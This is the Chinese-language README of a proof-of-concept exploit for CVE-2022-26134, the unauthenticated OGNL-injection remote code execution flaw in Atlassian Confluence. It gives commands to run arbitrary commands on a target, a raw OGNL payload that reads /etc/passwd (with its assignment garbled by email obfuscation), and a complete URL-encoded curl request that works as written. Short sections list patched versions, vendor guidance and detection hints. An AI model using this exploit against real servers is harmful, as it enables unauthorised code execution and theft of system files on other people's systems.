CVE-2022-26134 - OGNL 注入漏洞。

概念验证脚本，利用影响 Atlassian Confluence 7.18 及更低版本产品的远程代码执行漏洞。OGNL 注入漏洞允许未经身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。

受影响版本

所有受支持的 Confluence Server 和 Data Center 版本均受影响。
Confluence Server 和 Data Center 版本 1.3.0 之后、7.18.1 之前的版本均受影响。
该漏洞的 CVSS 严重性评分为 10 分（满分 10 分）。

依赖项：

Python 3.3+
可以通过 pip install -r requirements.txt 安装依赖项

使用方法：

克隆仓库

git clone https://gitlab.com/Naqwada/cve-2022-26134
cd CVE-2022-26134

然后你可以按如下方式运行漏洞利用程序并执行你选择的命令：

python3 cve-2022-26134.py https://target.com CMD
python3 cve-2022-26134.py https://target.com id
python3 cve-2022-26134.py https://target.com "ps aux"

视频概念验证

Script PoC CVE-2022-26134

Payload（有效载荷）

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

使用 CURL 命令的示例：

curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"

然后，命令的执行结果将反映在响应头中的 X-Cmd-Response 参数中。

来自厂商的缓解指南

遵循 Atlassian 的官方建议：
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

已修补版本

Atlassian 已发布包含此问题修复的版本：7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4 和 7.18.1。

检测能力

此漏洞影响所有自托管实例。如果你使用 WAF，你可以拦截包含 ${ 的 URL。

YARA（由 Volexity 提供）：https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar

注意

仅供教育目的使用。

CVE-2022-26134 meme fire

CVE-2022-26134

最受欢迎